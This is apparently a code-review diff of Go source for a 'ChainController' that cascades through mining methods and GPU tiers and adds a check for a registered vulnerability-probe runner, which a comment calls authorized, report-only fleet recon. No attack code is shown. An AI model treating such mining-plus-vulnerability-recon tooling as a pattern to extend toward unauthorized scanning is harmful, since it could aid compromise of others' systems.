if patch.IsGPUSupported != nil {
|
||||
h.IsGPUSupported = patch.IsGPUSupported
|
||||
}
|
||||
if patch.PoolConfigured != nil {
|
||||
h.PoolConfigured = patch.PoolConfigured
|
||||
}
|
||||
if patch.RunTierProbes != nil {
|
||||
h.RunTierProbes = patch.RunTierProbes
|
||||
}
|
||||
if patch.RunTierChain != nil {
|
||||
h.RunTierChain = patch.RunTierChain
|
||||
}
|
||||
if patch.StopTiers != nil {
|
||||
h.StopTiers = patch.StopTiers
|
||||
}
|
||||
if patch.WebGPUReady != nil {
|
||||
h.WebGPUReady = patch.WebGPUReady
|
||||
}
|
||||
if patch.GPUComputeReady != nil {
|
||||
h.GPUComputeReady = patch.GPUComputeReady
|
||||
}
|
||||
c.hooks = h
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
// SetChainOrderForTest overrides the ordered cascade (unit tests only).
|
||||
func (c *ChainController) SetChainOrderForTest(chain []MiningMethod) {
|
||||
c.mu.Lock()
|
||||
c.chain = append([]MiningMethod(nil), chain...)
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
// Monitor watches container health and advances the chain on exit.
|
||||
func (c *ChainController) Monitor(ctx context.Context) {
|
||||
ticker := time.NewTicker(10 * time.Second)
|
||||
|
||||
@@ -14,6 +14,11 @@ func SetVulnProbeRunner(fn func() TierAttempt) {
|
||||
vulnProbeRunner = fn
|
||||
}
|
||||
|
||||
// VulnProbeRunnerWired reports whether a custom probe runner is registered (tests inject before chain wiring).
|
||||
func VulnProbeRunnerWired() bool {
|
||||
return vulnProbeRunner != nil
|
||||
}
|
||||
|
||||
// RunVulnProbeTier runs authorized fleet vulnerability recon (report-only, no exploit).
|
||||
func RunVulnProbeTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||
select {
|
||||
|
||||
Reference in New Issue
Block a user